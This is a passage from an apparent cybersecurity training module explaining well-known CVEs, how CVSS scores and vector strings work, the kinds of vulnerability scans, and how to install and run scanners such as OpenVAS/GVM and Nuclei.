&lt;p&gt;Understanding CVE identifiers is fundamental because they are the common language of vulnerability management. When a client's remediation team asks "which CVEs does this finding address?", when a patch management system tracks patched vs. unpatched CVEs, when a scanner report lists findings by CVE — all of these conversations are only possible because of the CVE system.&lt;/p&gt;

&lt;p&gt;Some key CVEs that every cybersecurity professional should know:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2017-0144 (EternalBlue / MS17-010)&lt;/strong&gt; — A vulnerability in Windows SMBv1 that allows remote code execution without authentication. This is the vulnerability used by WannaCry ransomware (May 2017) and NotPetya (June 2017). The NSA developed the original exploit, which was leaked by the Shadow Brokers group. Despite Microsoft releasing a patch in March 2017, millions of unpatched machines were compromised.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2021-44228 (Log4Shell)&lt;/strong&gt; — A critical vulnerability in Apache Log4j 2, a widely used Java logging library. It allows any input controlled by an attacker that gets logged to trigger JNDI lookups that execute arbitrary code. Because Log4j is embedded in thousands of commercial and open-source applications, the attack surface was enormous. CVSS score: 10.0. Disclosed December 9, 2021; mass exploitation began within hours.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2014-0160 (Heartbleed)&lt;/strong&gt; — A buffer over-read vulnerability in OpenSSL's implementation of the TLS heartbeat extension. It allows reading up to 64KB of server memory per request, potentially exposing private keys, session tokens, and user credentials. CVSS score: 7.5. Affected an estimated 17% of all HTTPS servers when disclosed in April 2014.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2017-5638 (Apache Struts RCE)&lt;/strong&gt; — A remote code execution vulnerability in Apache Struts 2 (specifically the Jakarta Multipart Parser). Used to breach Equifax in 2017, exposing the personal data of 147 million people. CVSS score: 10.0. A patch was available months before the Equifax breach — the organization simply had not applied it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2019-0708 (BlueKeep)&lt;/strong&gt; — A critical remote code execution vulnerability in Windows Remote Desktop Services. Exploitable without authentication on Windows XP, Vista, 7, Server 2003, and Server 2008. CVSS score: 9.8. Described by Microsoft as "wormable" — capable of spreading automatically between systems without user interaction.&lt;/p&gt;

&lt;p&gt;These examples illustrate a recurring pattern: critical vulnerabilities (CVSS 9.0+) that are exploitable without authentication over the network represent the highest-priority findings in any vulnerability assessment.&lt;/p&gt;

&lt;h3&gt;
  
  
  CVSS — Common Vulnerability Scoring System
&lt;/h3&gt;

&lt;p&gt;CVSS is the framework used to assign severity scores to vulnerabilities. Every vulnerability scanner, every security advisory, and every NVD database record uses CVSS to communicate how severe a vulnerability is. Understanding CVSS deeply is not optional for a cybersecurity professional — it is the vocabulary of severity.&lt;/p&gt;

&lt;p&gt;CVSS was developed by the National Infrastructure Advisory Council (NIAC) and is now maintained by FIRST (Forum of Incident Response and Security Teams). The current version in widespread use is CVSS v3.1 (released June 2019), with CVSS v4.0 released in November 2023 beginning to see adoption.&lt;/p&gt;

&lt;h4&gt;
  
  
  The Three Score Groups
&lt;/h4&gt;

&lt;p&gt;CVSS produces not one score but three distinct scores, each serving a different purpose.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Base Score&lt;/strong&gt; represents the intrinsic characteristics of the vulnerability — how it behaves, how exploitable it is, and what impact successful exploitation has. The Base Score does not change based on time, environment, or context. It is calculated by the vendor or security researcher when the vulnerability is disclosed and serves as the universal severity anchor. When people say "this vulnerability has a CVSS score of 9.8," they are almost always referring to the Base Score.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Temporal Score&lt;/strong&gt; modifies the Base Score based on factors that change over time. Has a public exploit been released? Is a patch available? How confident is the security community that this vulnerability actually exists? A vulnerability might start with a Base Score of 9.8 but have a lower Temporal Score initially because no public exploit exists and the vulnerability is only theoretically confirmed. As exploit code appears and exploitation in the wild is confirmed, the Temporal Score approaches the Base Score. This score helps organizations understand urgency — a vulnerability with confirmed active exploitation is more urgent than one that is only theoretically exploitable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Environmental Score&lt;/strong&gt; allows an organization to customize the score based on their specific environment. A vulnerability in a web server component might have a high Base Score for confidentiality impact — but if your organization does not store sensitive data on that server, the actual confidentiality risk to your organization is lower. The Environmental Score lets you reflect this reality in your risk prioritization.&lt;/p&gt;

&lt;h4&gt;
  
  
  The Base Score Metrics — Understanding Each Component
&lt;/h4&gt;

&lt;p&gt;The Base Score is calculated from eight metrics, organized into Exploitability metrics (how an attacker uses the vulnerability) and Impact metrics (what happens when exploitation succeeds).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attack Vector (AV)&lt;/strong&gt; describes how the attacker reaches the vulnerable component. Network (AV:N) means the attacker can exploit it from anywhere on the internet — the highest severity. Adjacent (AV:A) means the attacker must be on the same local network segment. Local (AV:L) means the attacker needs a local shell account or physical access. Physical (AV:P) means physical access to the hardware is required — the lowest severity. A remote code execution vulnerability in a publicly accessible web server is AV:N. A privilege escalation vulnerability that requires a local shell first is AV:L.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attack Complexity (AC)&lt;/strong&gt; describes conditions outside the attacker's control that must exist for exploitation to succeed. Low (AC:L) means the vulnerability can be exploited reliably on any vulnerable system — no special conditions, no timing requirements. High (AC:H) means exploitation requires circumstances that cannot be guaranteed, such as a race condition that requires precise timing, or a man-in-the-middle position that must be established first. The difference between AC:L and AC:H can significantly affect a vulnerability's practical exploitability — a race condition with a 1-in-1000 success rate is very different from a vulnerability exploitable 100% of the time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Privileges Required (PR)&lt;/strong&gt; describes the level of access the attacker needs before exploitation. None (PR:N) means no authentication or account is needed — the attacker can exploit directly without any prior access. Low (PR:L) means a standard user account is needed. High (PR:H) means an administrator account is needed. PR:N vulnerabilities — those exploitable without any authentication — are the most dangerous class because they require no prior compromise.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;User Interaction (UI)&lt;/strong&gt; describes whether exploitation requires action from a user other than the attacker. None (UI:N) means the attacker can exploit autonomously without any victim involvement. Required (UI:R) means a user must take an action — click a link, open a file, visit a page — for exploitation to succeed. Vulnerabilities with UI:N are more dangerous because they can be exploited at scale without requiring any social engineering or victim cooperation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scope (S)&lt;/strong&gt; is one of the subtler CVSS concepts. It addresses whether a vulnerability in one component can impact resources in a different security domain. Unchanged (S:U) means exploitation only affects the vulnerable component itself. Changed (S:C) means exploitation allows impact to resources governed by a different security authority — for example, a vulnerability in a web application sandbox that allows escaping the sandbox and affecting the underlying operating system. A scope change dramatically increases a vulnerability's severity because it enables lateral movement and privilege escalation beyond the initially compromised component.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Confidentiality Impact (C)&lt;/strong&gt;, &lt;strong&gt;Integrity Impact (I)&lt;/strong&gt;, and &lt;strong&gt;Availability Impact (A)&lt;/strong&gt; each measure the impact on the corresponding security property if the vulnerability is successfully exploited. Each is scored as None (no impact), Low (some impact with limited scope), or High (total loss — complete data exposure, complete data modification, or complete denial of service). A vulnerability that results in complete data loss on all aspects (C:H, I:H, A:H) is the most severe from an impact perspective.&lt;/p&gt;

&lt;h4&gt;
  
  
  Reading a CVSS Vector String
&lt;/h4&gt;

&lt;p&gt;CVSS scores are accompanied by a vector string that encodes all the metric values in a compact, standardized format. The vector string allows you to understand exactly why a vulnerability received its score.&lt;/p&gt;

&lt;p&gt;For CVE-2021-44228 (Log4Shell), the CVSS v3.1 vector is:&lt;br&gt;
&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Reading each component: Network attack vector (reachable from the internet), Low complexity (reliably exploitable), No privileges required (anonymous exploitation), No user interaction needed, Scope Changed (sandbox escape enabling OS-level impact), and High impact on all three CIA properties. This is the most dangerous possible combination of metrics — and it produced a score of 10.0, the maximum.&lt;/p&gt;

&lt;p&gt;Compare this to a hypothetical local privilege escalation:&lt;br&gt;
&lt;code&gt;CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This requires local access (AV:L) and a standard user account (PR:L), but once those prerequisites are met, it is reliable (AC:L), requires no victim interaction (UI:N), does not escape its security scope (S:U), and results in full system compromise (C:H/I:H/A:H). Score: approximately 7.8 — High, but significantly less critical than Log4Shell because an attacker must already have local access.&lt;/p&gt;
&lt;h4&gt;
  
  
  Severity Ranges — How to Use CVSS Scores for Prioritization
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CVSS Score Range&lt;/th&gt;
&lt;th&gt;Severity Label&lt;/th&gt;
&lt;th&gt;Typical Priority&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;9.0 – 10.0&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Immediate — patch within 24–48 hours; investigate exploitation immediately&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7.0 – 8.9&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Urgent — patch within 7–14 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4.0 – 6.9&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Important — patch within 30 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0.1 – 3.9&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;Plan — patch in next maintenance cycle&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0.0&lt;/td&gt;
&lt;td&gt;None / Informational&lt;/td&gt;
&lt;td&gt;Track — no action required&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;These timelines represent reasonable targets, not universal rules. An organization processing payment card data (PCI DSS scope) might have more aggressive patching requirements. A critical infrastructure organization might apply different risk weighting to availability versus confidentiality. The CVSS score is an input to prioritization, not a complete prioritization decision on its own.&lt;/p&gt;
&lt;h4&gt;
  
  
  CVSS v4.0 — What Changed in the Latest Version
&lt;/h4&gt;

&lt;p&gt;CVSS v4.0, released November 2023, introduced several improvements for completeness:&lt;/p&gt;

&lt;p&gt;The Temporal metrics were renamed to "Threat Metrics" with a cleaner structure. A new metric called "Attack Requirements" was added to complement "Attack Complexity" — separating conditions about the environment from conditions about attack execution. Supplemental metrics were introduced to provide additional context without affecting the score: Automatable (can this be weaponized at scale?), Recovery (how hard is it to restore after exploitation?), Safety (does this affect human safety?), and Value Density (how much valuable data is in the impacted component?).&lt;/p&gt;

&lt;p&gt;Most current tooling and CVE records still use CVSS v3.1, but CVSS v4.0 adoption is growing and will become the standard over the next few years.&lt;/p&gt;


&lt;h2&gt;
  
  
  3.3.4 Types of Vulnerability Scans
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Not All Scans Are the Same — Choosing the Right Approach
&lt;/h3&gt;

&lt;p&gt;Just as there are different types of nmap scans suited to different situations, there are multiple types of vulnerability scans, each with different levels of access, different levels of accuracy, and different operational implications. Choosing the wrong scan type leads to either inaccurate results or unnecessary operational risk.&lt;/p&gt;
&lt;h3&gt;
  
  
  Unauthenticated (External / Black Box) Scanning
&lt;/h3&gt;

&lt;p&gt;An unauthenticated scan runs without providing any credentials to the target systems. The scanner operates purely from the network perspective — it can see whatever an external, unprivileged attacker could see. It sends probes over the network, receives responses, and draws conclusions from what those responses reveal.&lt;/p&gt;

&lt;p&gt;Think of this as a security inspector walking around the outside of a building, looking through windows, testing doors from the outside, checking whether the locks look functional — but never going inside. The inspector can identify quite a lot from this external perspective: broken windows, unlocked doors, outdated security notices on the door, visitors going in and out. But they cannot see the filing cabinets inside, check whether confidential documents are properly secured, or audit the internal access control system.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What unauthenticated scans find well:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Services listening on open ports (web servers, SSH, FTP, databases exposed to the network)&lt;/li&gt;
&lt;li&gt;Version-based vulnerabilities in services that announce their version in banners or response headers&lt;/li&gt;
&lt;li&gt;Default credentials on network services (the scanner can attempt to authenticate with known defaults)&lt;/li&gt;
&lt;li&gt;Protocol-level vulnerabilities (TLS weaknesses, SMB version vulnerabilities, DNS misconfigurations)&lt;/li&gt;
&lt;li&gt;Network-level misconfigurations (open ports that should be closed, unnecessary services)&lt;/li&gt;
&lt;li&gt;Web application vulnerabilities accessible without authentication (publicly exposed admin panels, login page bypasses)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;What unauthenticated scans miss:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Vulnerabilities in software that does not expose version information over the network&lt;/li&gt;
&lt;li&gt;Unpatched software on workstations and servers (patch level requires authenticated access to check)&lt;/li&gt;
&lt;li&gt;Configuration weaknesses inside the operating system (registry settings, file permissions, service configurations)&lt;/li&gt;
&lt;li&gt;Installed software with known vulnerabilities that does not run a network service&lt;/li&gt;
&lt;li&gt;Local privilege escalation vulnerabilities&lt;/li&gt;
&lt;li&gt;Database access control weaknesses (requires database credentials)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The vulnerabilities found by unauthenticated scans tend to be the most severe from a network security perspective — they are accessible to anyone who can reach the network. In many ways, these are the most critical findings because they represent zero-barrier-to-entry attack paths.&lt;/p&gt;
&lt;h3&gt;
  
  
  Authenticated (Credentialed / Internal) Scanning
&lt;/h3&gt;

&lt;p&gt;An authenticated scan provides the scanner with valid credentials — a username and password (or SSH key, or Windows domain account, or database credentials) that allow it to log in to each target system and perform checks from within the authenticated session.&lt;/p&gt;

&lt;p&gt;To extend the building inspection analogy: the inspector now has a master key. They can open every door, examine every filing cabinet, check every room's configuration, and audit the complete internal state of the building. The inspection is far more thorough.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What authenticated scans find that unauthenticated scans miss:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The complete list of installed software and their versions (cross-referenced against CVE database)&lt;/li&gt;
&lt;li&gt;Missing patches across the entire installed software inventory&lt;/li&gt;
&lt;li&gt;Operating system misconfigurations (overly permissive file permissions, insecure registry settings, unnecessary services running)&lt;/li&gt;
&lt;li&gt;User account issues (disabled accounts with active sessions, accounts with never-expiring passwords, local administrators)&lt;/li&gt;
&lt;li&gt;Password policy compliance (password history enforcement, lockout threshold, complexity requirements)&lt;/li&gt;
&lt;li&gt;Configuration compliance (CIS Benchmarks, DISA STIGs, PCI DSS controls)&lt;/li&gt;
&lt;li&gt;Database security settings accessible only with database credentials&lt;/li&gt;
&lt;li&gt;Application configuration weaknesses not visible from the network&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The tradeoff: authenticated scanning requires obtaining and securely managing credentials for every system to be scanned. In large environments, this is a significant coordination effort. It also requires ensuring the scanner's account has sufficient privileges to perform the checks — typically a domain administrator account for Windows environments, or root/sudo access for Linux.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Credential storage and security for authenticated scanning:&lt;/strong&gt; The credentials used for scanning must be protected as carefully as any privileged account. A compromised credential store that contains domain admin credentials for hundreds of systems is a catastrophic security incident. Enterprise vulnerability management platforms use encrypted credential vaults, require authentication before credential retrieval, and maintain audit logs of every use.&lt;/p&gt;
&lt;h3&gt;
  
  
  Network Scanning
&lt;/h3&gt;

&lt;p&gt;Network scanning focuses on the network infrastructure layer — the services, ports, and protocols visible across the network. This is what most people mean when they say "vulnerability scan" in a general context. The scanner probes network services, identifies versions, and checks for known network-level vulnerabilities.&lt;/p&gt;

&lt;p&gt;Network scanning is the foundation of most vulnerability assessment programs. It covers web servers, mail servers, SSH services, database listeners, file sharing services, and any other network-accessible service. It is the type of scan most directly relevant to penetration testing reconnaissance because it identifies the external attack surface.&lt;/p&gt;
&lt;h3&gt;
  
  
  Web Application Scanning
&lt;/h3&gt;

&lt;p&gt;Web application scanning is a specialized discipline focused specifically on vulnerabilities in web applications — not the web server infrastructure (Apache, nginx, IIS) but the application running on top of it.&lt;/p&gt;

&lt;p&gt;A web application scanner does not just probe ports and check service versions. It crawls the application, discovering all pages, forms, parameters, and API endpoints. For each discovered input point, it sends specially crafted payloads designed to trigger specific vulnerability classes: SQL injection payloads that attempt to manipulate database queries, Cross-Site Scripting (XSS) payloads that attempt to inject malicious JavaScript into page output, path traversal payloads that attempt to read files outside the web root, command injection payloads that attempt to execute operating system commands.&lt;/p&gt;

&lt;p&gt;Web application vulnerabilities are classified by the OWASP Top 10 — a regularly updated list of the most critical web application security risks (covered extensively in Module 6). The primary web application scanners are:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OWASP ZAP (Zed Attack Proxy)&lt;/strong&gt; — Free and open-source. The most widely used web application scanner for penetration testing. Has both automated scanning and manual testing proxy capabilities.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Burp Suite&lt;/strong&gt; — The industry standard commercial tool (with a free Community edition). More sophisticated than ZAP for manual testing, with powerful active scanner capabilities in the Professional edition.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Nikto&lt;/strong&gt; — A simpler, faster web server scanner focused on common misconfigurations and known dangerous files, not deep application-level testing.&lt;/p&gt;
&lt;h3&gt;
  
  
  Agent-Based Scanning
&lt;/h3&gt;

&lt;p&gt;Agent-based scanning involves installing a lightweight software agent on each managed endpoint. The agent performs vulnerability checks locally and reports findings to a central management platform.&lt;/p&gt;

&lt;p&gt;The advantage over traditional network scanning is accuracy: the agent has complete, authenticated access to the system from within. It can see every installed software package, every running process, every configuration file. There are no network-based detection limitations, no issues with services that hide their version information, no problems with firewall rules that block scanner traffic.&lt;/p&gt;

&lt;p&gt;The disadvantage is the requirement to deploy and maintain agents across every endpoint — which in large enterprises with thousands of endpoints is a significant operational commitment. Agentless scanning (traditional network scanning with credentials) is simpler to manage but less thorough.&lt;/p&gt;

&lt;p&gt;Enterprise platforms like Tenable.sc, Qualys VMDR, and Rapid7 InsightVM support both agent-based and agentless scanning, often using a hybrid approach where agents are deployed on workstations and laptops (which are frequently disconnected from the corporate network) while servers are scanned agentlessly over the network.&lt;/p&gt;
&lt;h3&gt;
  
  
  Compliance Scanning
&lt;/h3&gt;

&lt;p&gt;Compliance scanning evaluates systems against specific security benchmarks and regulatory requirements, rather than (or in addition to) looking for CVE-based vulnerabilities.&lt;/p&gt;

&lt;p&gt;The CIS Benchmarks (Center for Internet Security) are the most widely referenced configuration standards. There are CIS Benchmarks for Windows operating systems, Linux distributions, major cloud platforms, databases, web servers, and network devices. Each benchmark contains hundreds of specific configuration checks — whether audit logging is enabled, whether the firewall is configured correctly, whether specific registry values are set appropriately, whether unused services are disabled.&lt;/p&gt;

&lt;p&gt;PCI DSS compliance scanning verifies that payment card data environments meet all applicable PCI DSS requirements. HIPAA compliance scanning checks for HIPAA Security Rule requirements. DISA STIGs (Defense Information Systems Agency Security Technical Implementation Guides) are used for U.S. federal government systems.&lt;/p&gt;

&lt;p&gt;Compliance scan results are typically expressed as "pass/fail" against each control, rather than CVSS scores. The output is a compliance percentage and a list of failing controls with remediation guidance — precisely the format needed for compliance reporting.&lt;/p&gt;


&lt;h2&gt;
  
  
  3.3.5 The Major Vulnerability Scanning Tools — Deep Comparison
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Nessus (Tenable)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;What it is:&lt;/strong&gt; Nessus, developed by Tenable, is the most widely deployed commercial vulnerability scanner in the world. Since its initial release in 1998, it has become the industry benchmark — the scanner most frequently mentioned in job listings, most commonly encountered in enterprise environments, and most referenced in certification curricula.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The versions:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Nessus Essentials is the free tier, limited to 16 IP addresses. It uses the same interface as the professional versions and is the appropriate starting point for students and home lab users. It is genuinely Nessus, not a crippled demo — the scan quality is identical, just the IP count is limited.&lt;/p&gt;

&lt;p&gt;Nessus Professional is the paid single-scanner product used by individual consultants and small security teams. As of 2024, it costs approximately $3,990 per year. It provides unlimited IP scanning, advanced reporting, and the full plugin library.&lt;/p&gt;

&lt;p&gt;Tenable.sc (formerly SecurityCenter) is the enterprise platform for large organizations running multiple Nessus scanners. It provides centralized management, dashboards, trend tracking, and role-based access control across many scanners and many business units.&lt;/p&gt;

&lt;p&gt;Tenable.io is Tenable's cloud-based platform, which adds continuous monitoring, agent-based scanning, web application scanning, and cloud infrastructure scanning in a unified SaaS platform.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why Nessus is the standard:&lt;/strong&gt; Nessus has the largest plugin library (200,000+), the most mature update cycle for new vulnerability checks, and the most polished interface for report generation. It is also the scanner most commonly found in large enterprise environments, which means knowing Nessus is directly career-relevant. Many job listings for vulnerability management roles list Nessus experience as a requirement.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Its limitations:&lt;/strong&gt; The primary limitation is cost — Nessus Professional is expensive for individual use. Detection accuracy has also been scrutinized: a 2024 benchmark study found that Nessus detects for a larger percentage of known vulnerabilities than it successfully identifies in practice, suggesting some detection gaps between plugin availability and actual detection capability. False positives exist in every scanner, but Nessus's version-matching approach can produce findings for software that has been patched at the package level even though the version number did not change.&lt;/p&gt;
&lt;h3&gt;
  
  
  OpenVAS / Greenbone (GVM)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;What it is:&lt;/strong&gt; OpenVAS (Open Vulnerability Assessment System) is the most significant free, open-source vulnerability scanner. It originated as a fork of the Nessus codebase in 2005 when Tenable closed Nessus's source code. Since then, it has been maintained and developed independently. Today, OpenVAS is the scanning engine at the heart of the Greenbone Vulnerability Management (GVM) platform, maintained by Greenbone Networks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The architecture:&lt;/strong&gt; OpenVAS does not stand alone — it is one component in the GVM stack. The full stack consists of the OpenVAS Scanner daemon (ospd-openvas) which runs the actual checks, the Greenbone Vulnerability Manager (GVM) API layer which manages scans and stores results, and the Greenbone Security Assistant (GSA) web interface which provides the user-facing interface. For beginners, "OpenVAS" is often used to refer to the entire GVM stack.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The community vs. commercial feed:&lt;/strong&gt; The Greenbone Community Feed is free and contains over 160,000 NVTs (Network Vulnerability Tests). The Greenbone Enterprise feed (subscription) contains additional tests, including more coverage of enterprise technologies and compliance checks. For learning and lab use, the community feed is comprehensive.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why OpenVAS matters:&lt;/strong&gt; It is free. For security students, independent consultants, and organizations with budget constraints, this is decisive. The scan quality for the most critical, high-CVSS vulnerabilities is comparable to commercial scanners. A 2024 analysis found OpenVAS leads commercial scanners in remote check coverage for medium-severity CVEs, while Nessus Professional has broader coverage for the most critical remote vulnerabilities. The gap is meaningful but not absolute.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Installation and setup:&lt;/strong&gt; OpenVAS requires more setup than Nessus. On Kali Linux, the installation is managed through the package manager, but the initial feed synchronization (downloading all 160,000+ NVT definitions) takes significant time and the GVM stack has dependency requirements that need careful management. The effort is worthwhile for a learning environment.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Installation on Kali Linux&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; gvm

&lt;span class="c"&gt;# Initial setup (downloads feeds, creates users, configures certificates)&lt;/span&gt;
&lt;span class="c"&gt;# This takes 15-30 minutes on the first run&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;gvm-setup

&lt;span class="c"&gt;# Start GVM services&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;gvm-start

&lt;span class="c"&gt;# Access the web interface&lt;/span&gt;
&lt;span class="c"&gt;# Opens at: https://127.0.0.1:9392&lt;/span&gt;
&lt;span class="c"&gt;# Default credentials are shown during setup (generated randomly)&lt;/span&gt;

&lt;span class="c"&gt;# Check if everything is running correctly&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;gvm-check-setup

&lt;span class="c"&gt;# Update the NVT feed (run regularly — daily ideally)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;greenbone-nvt-sync
&lt;span class="nb"&gt;sudo &lt;/span&gt;greenbone-feed-sync &lt;span class="nt"&gt;--type&lt;/span&gt; SCAP
&lt;span class="nb"&gt;sudo &lt;/span&gt;greenbone-feed-sync &lt;span class="nt"&gt;--type&lt;/span&gt; CERT
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Nuclei (ProjectDiscovery)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;What it is:&lt;/strong&gt; Nuclei is a modern, template-based vulnerability scanner developed by ProjectDiscovery. Unlike Nessus and OpenVAS which use proprietary plugin/NVT systems, Nuclei uses YAML-formatted templates that define vulnerability checks in a simple, readable format. The template library is maintained as a public GitHub repository with thousands of community-contributed templates, and adding new vulnerability checks is as simple as writing a YAML file.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why Nuclei is rapidly growing in importance:&lt;/strong&gt; Nuclei excels at a different scan category than OpenVAS or Nessus. While the traditional scanners focus on infrastructure-level vulnerabilities (CVE-based version matching, OS configuration checks), Nuclei specializes in web application and API vulnerability detection, subdomain takeover checks, exposure detection (publicly accessible sensitive files, admin panels, backup files), and CVE-specific probe-based checks.&lt;/p&gt;

&lt;p&gt;Its speed is exceptional — Nuclei is designed for high-concurrency scanning and can scan thousands of targets rapidly. For bug bounty hunters, red teamers, and penetration testers dealing with large external attack surfaces, Nuclei has become a standard part of the workflow.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The template ecosystem:&lt;/strong&gt; The official Nuclei template library contains thousands of templates organized by category: CVEs, exposures, misconfiguration, technologies, default-logins, takeovers, and more. When a new CVE is disclosed, community members often publish Nuclei templates within hours — sometimes before commercial scanners have updated their plugin databases.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install Nuclei&lt;/span&gt;
go &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

&lt;span class="c"&gt;# Or on Kali Linux&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;nuclei

&lt;span class="c"&gt;# Update templates (run regularly)&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-update-templates&lt;/span&gt;

&lt;span class="c"&gt;# Basic scan against a target&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com

&lt;span class="c"&gt;# Scan with specific template categories&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-tags&lt;/span&gt; cve
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-tags&lt;/span&gt; exposure
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-tags&lt;/span&gt; default-login

&lt;span class="c"&gt;# Scan with specific severity levels&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-severity&lt;/span&gt; critical,high

&lt;span class="c"&gt;# Scan a list of targets&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-list&lt;/span&gt; targets.txt &lt;span class="nt"&gt;-tags&lt;/span&gt; cve &lt;span class="nt"&gt;-severity&lt;/span&gt; critical

&lt;span class="c"&gt;# Scan for a specific CVE&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-id&lt;/span&gt; CVE-2021-44228

&lt;span class="c"&gt;# Output to file&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-o&lt;/span&gt; nuclei_results.txt &lt;span class="nt"&gt;-json&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Nikto
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;What it is:&lt;/strong&gt; Nikto is a free, open-source web server scanner with a narrow but well-executed purpose: it scans web servers specifically for known dangerous files and programs, outdated server software and components, and server configuration misconfigurations.&lt;/p&gt;

&lt;p&gt;Nikto is not a deep application-layer scanner in the way Burp Suite or OWASP ZAP are. It does not test for SQL injection by trying injection payloads in form fields. What it does is check for thousands of specific files and paths that should not be publicly accessible — backup files, configuration files, test scripts, old CMS installations, and similar — and report any that respond with content rather than a 404.&lt;/p&gt;

&lt;p&gt;Nikto also checks HTTP response headers for security misconfigurations: missing security headers like &lt;code&gt;Content-Security-Policy&lt;/code&gt;, &lt;code&gt;X-Frame-Options&lt;/code&gt;, and &lt;code&gt;Strict-Transport-Security&lt;/code&gt;; server headers that unnecessarily disclose version information; and cookie security flags.&lt;/p&gt;

